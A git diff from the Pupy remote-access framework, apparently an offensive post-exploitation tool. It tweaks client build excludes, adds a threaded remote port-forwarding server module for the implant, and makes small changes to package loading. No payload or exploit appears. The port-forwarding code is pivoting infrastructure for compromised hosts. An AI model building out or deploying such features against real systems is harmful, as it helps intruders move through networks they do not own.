diff --git a/client/build_library_helper.py b/client/build_library_helper.py index 85cd45a7..f2efa58e 100644 --- a/client/build_library_helper.py +++ b/client/build_library_helper.py @@ -45,7 +45,7 @@ setup( "packages":['additional_imports'], "compressed" : True, "bundle_files" : 3, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything - "excludes": ["Tkinter"] + "excludes": ["Tkinter", "pyreadline", "IPython"] } } ) diff --git a/pupy/packages/all/pupyutils/portfwd.py b/pupy/packages/all/pupyutils/portfwd.py new file mode 100644 index 00000000..2ab4d422 --- /dev/null +++ b/pupy/packages/all/pupyutils/portfwd.py @@ -0,0 +1,24 @@ +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +import SocketServer +import threading +class RemotePortFwdRequestHandler(SocketServer.BaseRequestHandler): + def handle(self): + self.server.callback(self.request) + + +class RemotePortFwdServer(SocketServer.TCPServer): + allow_reuse_address = True + def __init__(self, server_address, bind_and_activate=True, callback=None): + self.callback=callback + SocketServer.TCPServer.__init__(self, server_address, RemotePortFwdRequestHandler, bind_and_activate) + def start_serve(self): + t=threading.Thread(target=self.serve_forever) + t.daemon=True + t.start() + + +class ThreadedRemotePortFwdServer(SocketServer.ThreadingMixIn, RemotePortFwdServer): + def __str__(self): + return ""%str(self.server_address) diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py index 5ec55d5c..f4658374 100644 --- a/pupy/pupylib/PupyClient.py +++ b/pupy/pupylib/PupyClient.py @@ -129,7 +129,7 @@ class PupyClient(object): self.conn.execute(v) else: raise PupyModuleError("Unknown package loading method %s"%t) - self._load_package(module_name, force) + return self._load_package(module_name, force) def _load_package(self, module_name, force=False): """ load a python module into memory depending on what OS the client is. diff --git a/pupy/pupylib/PupyPackagesDependencies.py b/pupy/pupylib/PupyPackagesDependencies.py index 13ad53db..ca6debb3 100644 --- a/pupy/pupylib/PupyPackagesDependencies.py +++ b/pupy/pupylib/PupyPackagesDependencies.py @@ -13,7 +13,7 @@ packages_dependencies={ ], "scapy" : [ (LOAD_PACKAGE, "pcap"), - (LOAD_PACKAGE, "dnet"), + #(LOAD_PACKAGE, "dnet"), (EXEC, "import socket\nsocket.IPPROTO_IPIP=4\nsocket.IPPROTO_AH=51\nsocket.IPPROTO_ESP=50\n") #hotpatching socket module missing some constants on windows ],